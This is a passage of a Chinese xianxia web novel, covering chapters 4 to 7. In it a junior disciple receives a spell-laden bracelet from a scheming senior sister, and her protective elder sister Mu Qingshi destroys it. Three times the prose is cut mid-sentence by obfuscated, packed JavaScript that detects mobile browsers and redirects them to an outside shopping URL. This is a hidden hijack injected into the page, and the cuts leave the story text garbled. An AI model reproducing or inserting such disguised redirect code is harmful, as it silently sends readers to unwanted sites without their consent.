九师姐转身,脸上扬起一丝笑意:“师妹,这一大早的,你去哪儿啦!” 祈枝张了张嘴,低头看了一眼手中的水桶。 “打水啊!”九师姐反应过来,指尖灵力一转,便将那两桶水帮忙倒入了缸中。 下一秒,木桶被好好摆放到了水缸边。 祈枝愣了一下,连忙道谢。 “都是师尊的弟子,还说这些呢。”九师姐说罢,笑吟吟地迎了上来,开口就是寒暄,“许久不见师妹,师妹近日可好?” “多谢师姐关心。”祈枝应着,忙追到缸边,将桶再次捡了起来。 “还要再打一次吗?”九师姐说着,伸手接过一个水桶,弯眉笑道,“我帮你吧?” 祈枝不知如何拒绝,只低头走在了前头。 九师姐平日里与四师兄走得最近,虽没怎么当面说过难听的话,但这五百年间也从不曾正眼看她一次,真不知今日怎么忽然就变了态度,总感觉没安什么好心。 不过打水挺累的,有人帮忙怎么也不算坏事。 只是这一路上,九师姐一直在她身旁喋喋不休地说着什么,她一一听在耳里,完全不知怎么回应。 “师妹屋子里好香啊,身上也香香的,今年的桂花酱是不是都快好了?” “好久不见师妹,似是长高了不少,记忆里你总是面黄肌瘦的,如今与二师姐走得近了,倒是白白净净,出落得亭亭玉立了。” “四师兄说师妹现在伶牙俐齿的,早已不似从前那般沉闷无趣,可我见你话还是很少啊……” “……”师姐的话倒是十分的密。 “我说话师妹有在听吗?” “有!”祈枝连忙回应。 “是不是刚睡醒,还犯糊涂呢?”九师姐说着,手指戳了戳祈枝的脸颊。 祈枝下意识往旁侧躲了一下,桶里的水洒出一些,打湿了两人的鞋子。 九师姐脸色骤然一沉,却又很快重新扯出满脸笑意,自顾自地说了一声:“没事,师妹不用怕,我今日找你,其实和师尊有关。” “师尊?”祈枝不由好奇,抬眼看向了九师姐。 “对啊。” “师尊……是想起我了吗?” “师尊几时忘记过你?”九师姐说着,摸了摸祈枝的头,“回去坐下说吧,这水好重的!” 祈枝一脸懵地点着头。 院子里的水缸终于填满了,祈枝将九师姐领进了屋。 屋内阴凉,四处都放着罐子,能休息的地方除了床榻,只有吃饭的桌子。 九师姐走到桌边,神色有些勉强地拿出手绢擦了擦凳子,这才与祈枝对坐下来,双手托着下巴,弯眉问了一句:“十一师妹,你能感知自己的灵根吗?” 祈枝:“是坏的。” 九师姐:“我知道,我是问,你能感觉到它最近和从前有什么不同吗?” 祈枝愣了一下,闭目凝神,久违地入了灵识之海。 这里是一片纯白的虚无之境,只有她脚下的方寸之地生长着些许野草,让此处不至于空无一物。 野草之中,有一株小小的,浅绿色的,长得稍微高一些,但“弯着腰”,软趴趴垂落在地上的——是她的灵根。 灵根这种东西,是会随着修为增进而长大的。 听说有些特别厉害的人能把灵根修成参天大树,灵识之海中更是会有一番随其心境而生的天地之景。 但是她的没可能,因为先天的残损,它生得破破烂烂的,仿佛被什么外力摧残过,怎么看都是一副没可能再长大的样子。 “我都长大了,你还那么小小个呢。” 祈枝轻声打趣着,蹲下身来,手指轻轻拨弄了一下那株小草。 下一秒,它忽然缓缓地立了起来,垂落在地上的叶片舒展开来,露出一个纯白的,好似随时都有可能绽放的花苞。 祈枝一时诧异,凑近看了好几秒才确认自己没有眼花。 “怎么样啊?”九师姐的声音从外头传了进来。 祈枝连忙出了识海,望向九师姐的眼中满是难以置信。 九师姐笑吟吟地看着祈枝,歪头问她:“是不是有一朵小花要开了?” 祈枝点了点头,茫然道:“我的灵根不是应该长不大吗?” 九师姐凑上前来,招手示意祈枝附耳来听。 祈枝挪着凳子向她靠去,分外好奇地竖起了耳朵。 “其实师尊早在五百年前收留你时,便在你的灵根之中留了一缕灵力。这缕灵力一直温养着你的神魂,也年复一年缓缓修复着你的灵根。”九师姐说着,话语顿了一下,嘴角微微勾起,“师尊还说,等到你成年之日,灵花开时,那一缕灵力便会与你灵根相融,修补残缺,你就可以正常修炼了!” “真的吗?” “你可别说出去啊,这是秘密,师尊怕你心存期待,这五百年便会很难熬,我也是才知道的。” 祈枝张了张嘴,呆愣着没有说话。 九师姐见她懵着,便又把话继续说了下去:“我吧,从前是瞧不上你,也和四师兄一起说过一点你的坏话,但那都是过去的事了,我这些年可什么对不起你的事都没做啊!” “……” “往后你便和从前不一样了,师尊竟还那么疼你……”九师姐说着,双手托腮,冲祈枝眨了眨眼,讨好似的问了一句:“我现在跟你讲和,还来得及吗?” “啊?”祈枝忽然有点不知所措。 九师姐没有给她思考的时间,拉起她的左手,为她戴上了一条漂亮得很精致的银叶手链。 祈枝这辈子哪里戴过这样的首饰,顿时吓得缩回手来就要往下取。 九师姐眉头一皱:“师妹这是不愿原谅我了?” 祈枝指尖一滞,连声否认:“没,没有,只是这个,我……” “师妹若是愿意原谅我,这便是送你的,你若取下了,我只能当你要继续记恨我了。” “……”祈枝抿了抿唇,没敢再取。 “这就对了嘛。”九师姐看着她腕间的手链,心情似是大好,说话的语气都甜了几分,“十一师妹的手又细又白,戴上这个特别好看。” “多谢九师姐。”祈枝说着,低头沉默了起来。 沉默着沉默着,发现气氛实在有些尴尬,她连忙给九师姐倒了一杯水。 九师姐摆了摆手,说自己不太爱喝这种河里打来的水,起身向祈枝道了声别,步伐轻快地离开了她的小院。 祈枝歪着脑袋,独自呆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971328|193452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐了许久才回过神来。 她又入灵识之海看了一眼,那纯白的花苞确实已是将开未开之状。 祈枝连忙洗漱了一番,早饭都没来得及弄,便止不住欢喜地一路蹦跶着跑向了岁寒殿。 岁寒殿内,梅花未开。 枝头稀疏挂着几片黄叶,风一过,便随之簌簌而落。 树下石桌旁,慕轻时独饮着微苦的茶。 她指尖拈着一片残破的枯叶,叶片被一道术法护着,上面仅写着短短六字。 ——岁寒殿,二师姐。 阿云把它衔回来的那一日,看上去还挺开心的。 也不知有什么好开心的,一片落叶罢了。 如今阿云不在,这里的一切都是静默的,倒也应了岁寒二字,冷得不行。 慕轻时这般想着,忽有一个声音自远方传来,打破了此间静默。 她心念一动,循声望去,是祈枝正一路唤着“师姐”,蹦蹦跶跶地在岁寒殿中四处寻她。 指尖枯叶消失不见,慕轻时站起身来,祈枝瞬间看见了她,晃着一只小胳膊就朝她奔了过来。 山顶风大,祈枝跑得很急,停下来时不但粗气喘个不停,还整个人都被吹得乱糟糟的,像只炸了毛的小兔子。 慕轻时不由一笑,伸手为她顺了顺额前的发:“有什么开心事,跑这么急?” 祈枝跑了一路,此刻顾不上说话,一直在大口呼吸。 慕轻时回身倒了一杯热茶,递向祈枝。 祈枝伸手接过,先捧着暖了暖手,等到气差不多顺了,这才低头喝了两口。 腕间银叶向下垂落,慕轻时眸光一沉,不由攥紧五指,再次坐回桌边,扬唇看向了毫无察觉的祈枝。 祈枝喝完茶水,绕着石桌来回蹦跶,在慕轻时的注视下眉飞色舞地把今早遇见九师姐的事全都说了一遍。 末了,她望着慕轻时,眼里满是期待:“慕师姐,你说……九师姐没有骗我吧?我的灵根里,真有师尊的灵力?” 慕轻时闻言,轻笑着应了一句:“我又没看过,如何能够说得准?” “那师姐帮我看看嘛!”祈枝说着,双手撑着桌子,俯身将脑袋伸到了慕轻时跟前,乖巧的闭上了眼睛。 慕轻时不由一愣,片刻失神后,缓缓静下心来,屏住呼吸,倾身向前,与之额头相触。 祈枝的灵识之海毫不设防,灵光微明之际,她看见了一片虚无中尚未长大的小草,和那一朵独一无二的纯白花苞。 道尊的灵力丝丝缕缕萦绕着它,奈何肉眼难辨,祈枝定是看不到的。 短暂静默后,她从祈枝的灵识之海中退了出来。 祈枝睁开双眼,连忙追问:“有吗?” 慕轻时:“嗯。” 祈枝开心得又蹦了几个圏,好一会儿才冷静下来,万分感慨地小声说道:“我还以为师尊一点都不在意我,当年将我收入门下只是一个误会,是他根本不愿提及的事。” “师尊竟然默默为我做了这些……” “要不是九师姐告诉我,只怕等到灵根修复了,我都未必知道它是怎么好的。” 祈枝说着说着,没有听到慕轻时的回音,一时抬头,有些茫然地冲她眨了眨眼:“慕师姐?你……你在听吗?” 慕轻时点头,似不经意地扫了一眼祈枝的手腕:“这手链,谁送给你的?” 祈枝:“九师姐。” 慕轻时:“不适合你。” 祈枝反应了一下,连忙把这手链摘了下来。 慕轻时从她指尖将手链接过,淡淡说道:“清瑶自幼性子顽劣,她的东西能不碰就别碰。” “哦!”祈枝应着,忍不住解释了一嘴,“我没想碰的,是她非要给我,还说我不收就是存心和她对着干……” “嗯。”慕轻时应着,喝了一口茶水,“我去同她说。” 话音落下,再无言语。 气氛一时沉默,祈枝有些搞不清状况地摸了摸手腕。 数秒静默后,慕轻时放下茶杯。 幽幽说了一句:“你的灵识之海,往后莫要再让旁人进了。” 5. 第 5 章 祈枝今日本是没空来岁寒殿的。 山中杂务向来不少,又多被各堂主事随手丢到她的身上,她不像别的师兄师姐可以正常修炼,自然也就没什么理由能拒了这些。 正因如此,她在激动地分享完开心事,顺便从慕轻时这儿蹭了几口糕点之后,便匆匆忙忙离了此处。 慕轻时将她送至岁寒殿外,望着她的背影渐行渐远,直到消失不见。 末了,敛了目光,低眉看向手中那串银叶手链。 银叶小巧精致,每一片都各有形状,戴在手上,叶片会随一举一动碰撞成音,除此之外,似再没有特别之处。 若真如此,倒也好了。 慕轻时往内注入一缕灵力,那看似寻常的手链便立即呈现出了一种有规律的灵力流转。 是引导灵力去向的微型法阵。 她嗤笑一声,将法阵于指尖捏碎。 …… 秋日风凉,洒扫的弟子正清理着院中的落叶。 清瑶坐在镜前,颇有闲心地梳着妆。 她刚洗完一个花瓣浴,感觉很是清爽。 十一师妹那儿还是太过脏乱了些,特别是那一屋子的破罐子,堆一起那味儿啊,浓得都快把她熏死了。 要不是四师兄让她帮这个忙,她才不会去那种破地方,和一个傻愣愣的小废物说那么多客套话呢。 真是烦死了,害她洗了好半天。 好在事情是办妥了,四师兄定会夸赞她的。 清瑶这般想着,眼底笑意渐浓。 忽有人轻轻推开房门,清瑶回过神来,不由皱眉怒喝:“谁允许你进来的?” 也不知是哪个不懂规矩的小弟子,真是败人心情! “怎么,九师妹这里,我是来不得了?” 来人声音清冷,偏又有着几分熟悉,清瑶吓得一个激灵,连忙从梳妆镜前站起,回身看向身后。 短暂慌忙后,她换上了一副欣喜的神色。 “二师姐!”她这一声叫得很甜,话音都还未落,便又笑吟吟地向慕轻时迎了上去。 见清瑶上前,慕轻时不动声色地后退半步,向前抬手,指尖挂着一串银叶手链。 清瑶神色一怔,小嘴微微张着,一时说不上话。 慕轻时:“九师妹的礼物很好,下次不要再送了。” 清瑶:“我……我不明白师姐的意思。” “不明白?那我再说明白一点。”慕轻时目光如冰似刃,“我不管你打得什么主意,祈枝都是你伤不得的人。” “师姐怕是误会了……”清瑶垂下了眼睫,似是委屈地为自己辩解着,“祈枝也是我师妹啊,我怎么可能伤她?” “是啊,她也是你师妹。”慕轻时说着,嘴角似笑非笑,似是意有所指。 手链从她指尖滑落,在地上砸出声响。 清瑶不禁攥紧了十指:“二师姐既不愿我与十一师妹太亲近,我往后不去见她便是。” 慕轻时没再回应,只冷笑着转身离去。 清瑶气不过,追到门边,带着脾气大声喊道:“山中并非只有祈枝一位师妹,我也时常念想着师姐,岁寒殿清寂,师姐若是闷了可以常来!” “罢了。”慕轻时脚步停了一瞬,未曾回头,语气淡漠,“下次再见,不会是什么好事了。” 清瑶见她走远了,俯身捡起手链,以灵力探了一下。 里面的法阵果然碎了。 她咬了咬牙,用力将手链扔出了窗外。 * 秋日的风越来越寒,眼瞅着就要入冬,那一屋子的桂花酱终于好了。 祈枝用不同大小的罐子把它们一一分装起来,装进乾坤袋,像往年那样,一个人向七大堂分送去。 似乎不是错觉,今日各堂都十分冷清,除了几位管事,便再不见其他弟子。 说起来,最近山中的气氛也是怪紧张的,听说前几日七位长老都被师尊召去议事了。 再后来她那几位仍留山中的师兄师姐也被一一叫了过去。 具体他们被叫去议了些什么,就不是她能知道的了,毕竟师尊不曾召她,也没有召过二师姐。她就算好奇,也没处问呀。 反正事情与自己无关,还是先把手里的活儿干完吧! 就这样,祈枝小腿儿勤快地跑了好几个地方。 乾坤袋里的桂花酱越来越少,她的脚步便越来越轻,心情也越来越好。 只是忽然间,她在半道上望见远方聚了不少人,一时没能止住好奇,靠过去浅浅打听了一下情况。 这不问还不知道,六师姐今日竟要离山了。 此刻围在这里的弟子,有一部分会随六师姐一同下山,另一部分则是前来送行的。 “六师姐为什么离山啊?” 祈枝随口那么一问,边上的弟子便七嘴八舌向她解释了起来。 倒也不是这些人对她有多热情,只是单纯他们在同一件事上各有各的见解。 祈枝努力分辨了一下这些人口中的信息,大概明白了近日山中气氛为何那么奇怪。 前阵子,暮雪谷飞来了一只灵蝶,是灵尊派来向天道门送信的。 灵尊在信中提到人间近日时有魔气涌现,不少平日里十分规矩的妖族都因此受到了影响,开始失控伤人,一时妖祸不断,人心惶惶。 此番受魔气影响四处伤人者多为妖族,暮雪谷原已派出上百弟子出谷探查与平乱,却因妖族身份受到了不少人族修士的阻碍。 此事万分棘手,魔气愈渐浓烈,非但无法寻到源头,还有持续扩散的迹象。若无法妥善处置,只怕到时两族数百年来的和平都将不再。 正因如此,灵尊希望仙门之中素来最有威望的天道门能倾力援助暮雪谷。 短短一封信,让各大长老接连数日争论不休。 一边是万分的警惕,认为妖族狡诈,暮雪谷那位灵尊更是只向来目中无人的狐狸,如今这般好声好气来求天道门,难说是何居心。 一边则认为此事既然与魔有关,宁可信其有,不可信其无。天道门护佑人间多年,纵有再多顾虑,都不应对这种事情不管不顾。 道尊思虑数日,最终决定派出门中半数弟子,由门下六弟子若渝带领,前去帮助暮雪谷平复此次妖乱,寻出魔气根源。 此行山遥路远,更是凶险异常,也不知六师姐要离山多久。 很久以前,六师姐曾在戒律堂为她说过那么一句话,虽然也没起上什么作用,但祈枝一直记在心里。 她想,就算自己和六师姐平日里无甚交际,此刻也该上前道一声珍重吧。 所以她小心翼翼地钻过人群,挤到了最里头。 各大堂的师兄师姐几乎都在这里,此刻一个接一个的对六师姐叮咛嘱咐着些什么,看着稀罕的法宝和灵药更是眼都不眨一下就往外送。 祈枝忽然觉得自己不该出现在这里了。 她身上既没有法宝,也没有灵药,只有一大堆吃都吃不完的桂花酱,和各位师兄师姐手里的东西比不了一星半点。 要不……还是算了吧,反正六师姐也未必稀罕见她。 祈枝这般想着,缩了缩脖子,重新往人群里退去。 六师姐却是一眼看见了她。 “十一师妹。” 忽然被人点了名字,祈枝瞬间站直身子,不太有底气地向前走了两步。 “六师姐,我才知道你今日离山。”她说着,抿了抿唇,看向六师姐,眼里满是认真,“望师姐一路平安,早日归……” 祈枝话还没说完,便被一个讨厌的声音打断了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971329|193452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四师兄是从人群头顶飞进来的,有人被踩了肩膀,见这家伙跟只花孔雀似的落了下来,嘴里“师妹师妹”的喊着,心中虽有怒气,却也不敢吱声。 祈枝深吸了一口长气,默默往旁侧挪了两步。 “若渝师妹。”此人刚一落地,便旁若无人地向六师姐靠了过去,脸上满是讨好的笑意,“这是你第一次离山,也不知何时才能回来,我想送你一个东西。” 六师姐皱眉,向后退了半步:“什么东西?” 四师兄跟看不见她眼底嫌弃似的,又往前凑了一步,抬手灵光一现,手中幻出一面精致的小镜子。 祈枝下意识踮脚看了一眼,这镜子的表面光亮平整,却好像照不出任何东西。 六师姐抬眼,语气淡漠:“师兄何意?” “此为对影镜,需有一对,方可成象。”四师兄说罢,扬眉一笑,看向六师姐的眼神颇有深意。 六师姐瞥了他一眼,反问道:“既要一对才可成象,你只送我一面何意?” 四师兄:“额,呃这……” 祈枝眼珠滴流一转,昂首叉腰,故意呛声:“哪有送东西只送一半的?四师兄是不是对六师姐有意见?” 四师兄狠狠瞪了她一眼,笑着将另一面也幻了出来,一并交到了六师姐的手中。 “多谢师兄。” “哎,若渝师妹,你就是太严肃,开不起玩笑……”他尴尬地为自己找补着,回头一看祈枝还在偷笑,没忍住翻了个白眼,“你呢?你就空着手来?” 祈枝张了张嘴,低头慢吞吞地从乾坤袋中取出了一小罐桂花酱。 四师兄瞬间夸张地大笑起来,一旁好几个弟子见状,也有跟着一同笑了起来。 祈枝在笑声中缓缓垂下了脑袋,正想着要把这丢人玩意儿收起来,便见六师姐伸手将它们接了过去。 “谢谢了,往年都有吃这个,还以为今年吃不到了呢。”六师姐说着,将桂花酱收入乾坤袋中,拍了拍祈枝的肩膀,故意放大声音说了一句,“走了!替我向二师姐问好!” 众人听见“二师姐”三字,哪还敢笑,瞬间一个个都闭上了嘴。 四师兄的脸色不太好看,却也没再多说什么。 六师姐离山后,琼琚山一下少了好多的人,连带着夕阳都似比往日清冷了些。 祈枝送完了余下的那些桂花酱,只留了最后两罐,准备带给慕轻时。 她想,今天真是开心的一天! 有人替她说话,她还看见四师兄当众丢了面子。 怂怂的小草就这点儿出息,总能为这种芝麻大小的事高兴很久很久。 她现在已经迫不及待想要和慕师姐分享这样的高兴了,所以哪怕已至黄昏,她也还是朝着岁寒殿跑了过去。 半路上,忽有一只小鸟稳稳落在了她的肩头,小歇片刻,便又扑扇着翅膀,伴飞在了她的身侧。 “阿云!你回来啦!” 祈枝总觉得自己有一个多月没有见着阿云了。 先前她还问过一次呢,慕师姐说自己不曾与阿云签过灵契,只是单纯养在身旁,所以这小家伙想去哪儿都不由她管。 那么久不见,她差点以为阿云再也不会回来了。 今日能再次见到它,心中喜悦便又多了几分。 “你才从外面回来对不对?” “一声不吭出去玩儿那么久,我都以为你不想再吃我送的果子了!” “既然回来了,一起去见师姐吧!” 小鸟儿啾啾叫着,飞在了她的前方。 天色渐沉,山路渐暗。 引路的鸟儿洒下一地流光,纯白似雪,闪烁似星,一路蜿蜒向遥远的山巅,照亮着少女脚下的路。 那是她走过最多最熟,无论风雨,都想一次又一次踏上的路。 6. 第 6 章 “师姐你是不知道,他就这样,像这样……”祈枝一手背在身后,一手向外展开,一脸嫌弃地往前蹦跶了两下,“踩着别人的肩膀飞进来了,脚一沾地就开始孔雀开屏!” “什么若渝师妹,若渝师妹!我送你这个,这是对影镜,需有一对方可成象。” 祈枝说到此处,跑到对面换了一个站位,冷下脸来,压低声线:“既然一对才可成象,师兄只送我一面何意啊?” 末了,她又跑回了方才的位置,面色尴尬:“啊这,这呃呃呃……” 慕轻时看在眼里,一时忍俊不禁。 祈枝见她笑了,吐槽的声音都更大了一点:“真的!我都替他好尴尬啊!六师姐根本不想搭理他啊,他还觉得自己多有魅力似的。” “他送个镜子只想送一面,那算盘声叫是一个响啊,可六师姐不吃这一套啊。”祈枝说着,气呼呼地双手叉腰,“他觉得自己丢人了,就反过来凶我!还带着好多人笑话我,笑我送不起六师姐珍贵的礼物……” “还好有六师姐替我解围,她让我替她向师姐你问好,那些人一下子就不敢再笑了!” 祈枝说得开心,阿云听了似也挺开心的,拍着一对小翅膀,在石桌上一左一右地来回蹦跶着。 慕轻时怕祈枝口干,为她倒了一杯水,杯中加了些许桂花酱,携着淡淡的香甜,一如她眼底笑意浅浅。 祈枝坐下身来,抱着水杯喝了两口,忽然忍不住感慨了一句:“那个对影镜,听起来好像很厉害,是不管相隔多远都能看见另一面照见之物吗?” “嗯。” “那可以听见对面的声音吗?” “可以。” “真好啊……”祈枝感慨着,大口喝完了手里的小甜水,“那要是谁有一对这个,是不是就可以让能离山的同门带上一半,帮自己看看外面的天地了?” 慕轻时没有说话,只是将一小碟刚剥好的花生米推了过来。 “谢谢师姐!”祈枝接过盘子,笑得眉眼弯弯。 阿云背着翅膀,仰着脑袋,在一旁啾了两声,慕轻时敷衍似的为它剥了一颗,便随手抓了一把没剥过的放在了它的脚边。 面对这明晃晃的区别对待,阿云也一点都不意外,小屁股一撅,小脑袋一埋,对着脚边的花生默默地啄了起来。 祈枝的声音不曾断过。 她说着今日送桂花酱时各大堂的冷清,说着那一场毫无准备的送别。 说着暮雪谷飞来的灵蝶,说着人间不知源头的魔气和妖祸。 说着自己交还乾坤袋后往这里跑,路上天色越来越暗,是阿云照亮了一整条山路。 说着说着,她抬头看了一眼。 那一轮再过几日便要圆满的月,不知何时就悄悄悬得那么高了。 原来今夜已经这么晚了。 她总觉得自己好像还有好多话都没有说完。 “师姐,我该回去了!” 慕轻时起身望向远方,山间夜色浓黑,夜路怕是不太好走。 她看向祈枝:“太晚了,要不明早再走?” 祈枝眨了眨眼,歪头问道:“可以吗?” “我为你收拾间屋子。”慕轻时说着,转身走在了前方。 祈枝愣了一下,连忙追了上去:“师姐,你告诉我去哪间屋,我自己来就好!” 阿云扭头看了一眼,脑袋歪了一瞬,低头继续啄起了自己的花生。 岁寒殿不小,祈枝紧紧追在慕轻时的身后,迎着幽寒的夜风,越过长长的回廊,来到了一间许久无人打理的客房。 祈枝总觉得自己在此留宿已是十分叨扰师姐了,要是还让师姐帮自己收拾房间,多少有点不太合适了。 所以进屋的瞬间,她第一时间冲了进去。 别看她左顾右盼的身影十分茫然,可实在架不住她眼里有活,仅一个箭步便在黑暗中捡起了角落里躺着的扫帚。 可她都没来得及做点什么,便见一缕灵光点亮了屋内的每一盏烛台。 下一秒,灵光过处,不留纤尘。 祈枝张了张嘴,默默将扫帚靠放在了墙角——仿佛将它从地上捡起,只是为了把它放得更好。 师姐不愧是师姐,灵根残损了都那么厉害,无论做点什么都只是动动手指的事。 那个晚上,祈枝第一次在岁寒殿住了下来。 身上又软又暖的被褥,是慕轻时陪她一同套上的,上面沾着一种淡淡的幽香,与慕轻时身上的一样,闻起来很舒服。 山顶风凉,小草畏寒,慕轻时在门窗处都施了术法,整个屋内都是暖暖的,比她自己那个小屋子还要舒服。 她以为自己今晚能睡得很舒服,却又不知为何,眼睛闭了好久,人就是怎么都睡不着。 她想,或许是外头的风声太大了,闹得她心有点乱。 …… 慕轻时靠坐在床头,被子覆着腿,目光些许迷离地望着床侧跳动的烛火。 紧闭的房门忽然被人轻轻扣响,唤回了她的思绪。 她披上外衣,起身走至门边,开了一条门缝。 祈枝缩着脖子站在门口,头发睡得乱糟糟的,一双碧绿的眸子正亮闪闪地望着她。 “师姐,我睡不着……” 慕轻时愣了一下,莞尔一笑,伸手将她牵进了屋里。 后来,小丫头裹着她的被子,缩在床上,借着烛火,同她东一句西一句地聊起了天。 聊从前,聊现在,聊那些喜欢的,或是不太喜欢的。 这似乎还是第一次,祈枝不再只是向她说着自己的事情,也开始试着去问她的从前。 “师姐是什么时候拜入天道门的?” “六百多年前吧。” “师姐去过很多地方吗?” “嗯。” “山外的天地,是怎么样的?” “很大很大。” “师姐喜欢吗?” “还好吧。” “师姐可以和我说说从前的事吗?” “好啊。” 其实那些关于慕轻时的从前的事,多是祈枝早在旁人口中听过无数次的故事。 可同一件事,旁人说的,和慕轻时说的就是不太一样。 她不自觉听入了迷。 恍惚间,她好似看见了另一个慕轻时。 年少轻狂,不惧天地,觉得世上没有什么事是自己做不到的——远比许多人口中那个高天孤月般遥不可及,除却剑道外再无欲无求的存在要鲜活许多。 只是有点可惜,那样的二师姐,她已经来不及认识一下了。 屋内烛台已经烧残,窗外的天是不知不觉间亮起来的。 第一缕天光透过窗缝,洒落地面之时,祈枝惊觉自己竟打扰了慕轻时整整一宿。 她有些心虚地从被窝里钻了出来,面色尴尬。 “师姐,那个……天,天亮好快啊。”祈枝指了指窗外,抿了抿唇,穿上鞋子,往门口走了两步,“那那,那我回去了!” 慕轻时起身上前,揉了揉她的头发,笑道:“你就这么回去?乱糟糟的,像个小鸟窝,阿云见了都得落下来。” 祈枝张了张嘴,还没反应过来,便被慕轻时牵到镜边坐了下来。 镜中的自己确实乱糟糟的,定是昨晚睡不着,在被窝里翻来覆去弄的。 慕轻时站在她的身后,替她解开发髻,动作轻柔地梳理起来。 脸颊有些微烫,她不自觉低低垂下了眼睫。 发髻梳好的那一刻,祈枝逃似的跑出了岁寒殿,直到回头再看不见山巅目送着自己的那一抹倩影,这才蹦蹦跶跶地转起了圈圈,发出阵阵轻而细小的窃笑。 …… 山巅,岁寒殿。 阿云高高蹲在枝头,闭着眼睛,晒着初升的太阳。 慕轻时送完祈枝回来,抬头幽幽看了它一眼。 “阿云。” 忽的一声点名,让它翅膀一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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好一阵茫然后,她将其中一面放回了慕轻时的手中,抿唇,抬眼,满脸乖巧地问了一句:“这一面留在师姐这里好不好?” “……留在我这儿?” 祈枝很认真地点了点头:“留在师姐这里,我就可以随时见到师姐了。” 慕轻时眼底闪过一瞬的犹豫,尚还未被祈枝察觉,便已扬起唇角,柔声应道:“好啊。” 祈枝一时喜出望外,连忙伸手拉住了慕轻时的衣袖:“那,那师姐,这个要怎么用啊!” “我教你。” “嗯!” 慕轻时牵起了她的手,指节微凉。 纯白的灵光,似水般淌过她的指尖,牵引着她体内稀薄的灵力,轻点上那不见万物的镜面。 似是静水掀起涟漪,照见一抹被风掀起的柔白衣角。 “哇!看见了!”祈枝高兴得原地跳了起来。 慕轻时松开了握在她手背的手,凝望着她眼底的欢喜,半晌,唇角微扬,将手中镜面举过头顶,追着天际自由远去的群鸟。 祈枝对着手中的镜中之景愣了一下,缓缓抬头,顺着另一面镜子所指的方向望去。 “真好啊……”她说,“师尊从不许我离山。” 慕轻时放下手来,笑着摸了摸她的头:“无妨,往后我带你出去。” “可以吗?”祈枝不由欣喜。 “当然。” “可师尊那边怎么说?” “他不会介意的。” “太好了!”祈枝抓住慕轻时的手腕,激动地说着。 她想,她真是遇上天底下最好的师姐了。 所以今天也是特别开心的一天! 7. 第 7 章 祈枝刚一回到自己的小院,就要死不活地扑倒在了床上。 刚离开岁寒殿时的那份兴奋,就像是一种回光返照,彻夜未眠的小草到底是没精神多会儿就蔫儿在半道上了。 缩进被窝的那一刻,她只希望今日不要再有什么活儿找上来了。 不过她的生活里,事与愿违是一种常态,所以她也没觉得自己能偷闲多久,刚钻进被窝便争分夺秒地入了梦。 祈枝没想到,她这一觉竟是睡得意外安稳,醒来已是落日时分,期间竟完全没人来过。 她裹着被子坐在床上,看着窗外安静的风铃,天边泛红的层云,心底不由生出了一种今天过得特别不真切的感觉。 祈枝不知道,其实今日还是有人来的。 有些人昨日丢了面子,今日自然是要找点破事儿来折腾她的。 但他先后知会了几个狗腿子先后过来给小师妹安排累活,最终却是连一个敢走进这间小院的都没有。 原因很简单,他们看见了一只白首灰背的小鸟。 它很安静,不动也不叫,就那么背着翅膀,静静地立在院门上闭目养神,谁敢靠近就睁开一双豆豆眼瞪谁。 天道门中谁还不知道这小家伙是慕轻时的灵兽? 它如今那么往那一站,和慕轻时亲自守在门口又有什么区别? 就算对付一只小鸟很容易,那也没人敢轻易得罪岁寒殿的那一位啊。 而且别说,真别说,这小毛球眼睛那么一瞪,脑袋那么一歪,看上去还怪有威慑力的。 只是祈枝醒来的时候,它已经拍拍翅膀回去复命了。 所以院子依旧是那个安静的院子,仿佛从未有人来过。 夕阳就快落尽,祈枝伸了一个大大的懒腰,洗漱过后,为自己煮了一碗素面。 吃完面条,洗完碗筷,窗外天色渐暗,她又懒洋洋地躺回了床上。 巴掌大的小镜子静静放在枕边,短暂静默后,被她一个翻身捞到了手里。 祈枝在山中待了五百年,连一个并不算稀罕的乾坤袋都需要向人借用,说出去只怕没人相信,这面镜子其实是她人生中拥有的第一件法器。 而这个第一件法器,是师姐特意让阿云去山下寻来送给她的。 只要一想到这个,她便开心得合不拢嘴。 外头的天色都暗下来了,也不知慕师姐现在在做什么…… 祈枝好奇地想着,忍不住在指尖凝出一点微弱的灵力,小心翼翼,轻点镜面。 镜中画面渐渐显现出来。 一半似被什么遮住了,隐隐透着些许烛火的微光。 另一半也是昏暗的,镜面上起了一层水雾,只隐约能够看见顶上木质的房梁,与旁侧立着的半扇屏风。 烛光在屋中轻轻晃动着,似是能够牵动屏风上静默的梅。 师姐这是把镜子扔哪儿了? 祈枝抱着镜子左看右看,半天都没能看明白,刚想要试着开口唤一下师姐,便听得镜子那头响起了一阵不太清晰的水声。 而后,似是有人出浴的声音。 水滴哒哒坠着,或滴在地上,或落回水中。 祈枝下意识捂住了嘴。 下一秒,屏风之后,多了一道纤长而又柔和的轮廓。 浴后未散的热气,如烟似雾地萦在她的身侧,每一次微小的动作,都于那昏暗烛光中摇曳得影影绰绰。 似是梦中一抹触之即破的幻影,让人看不真切。 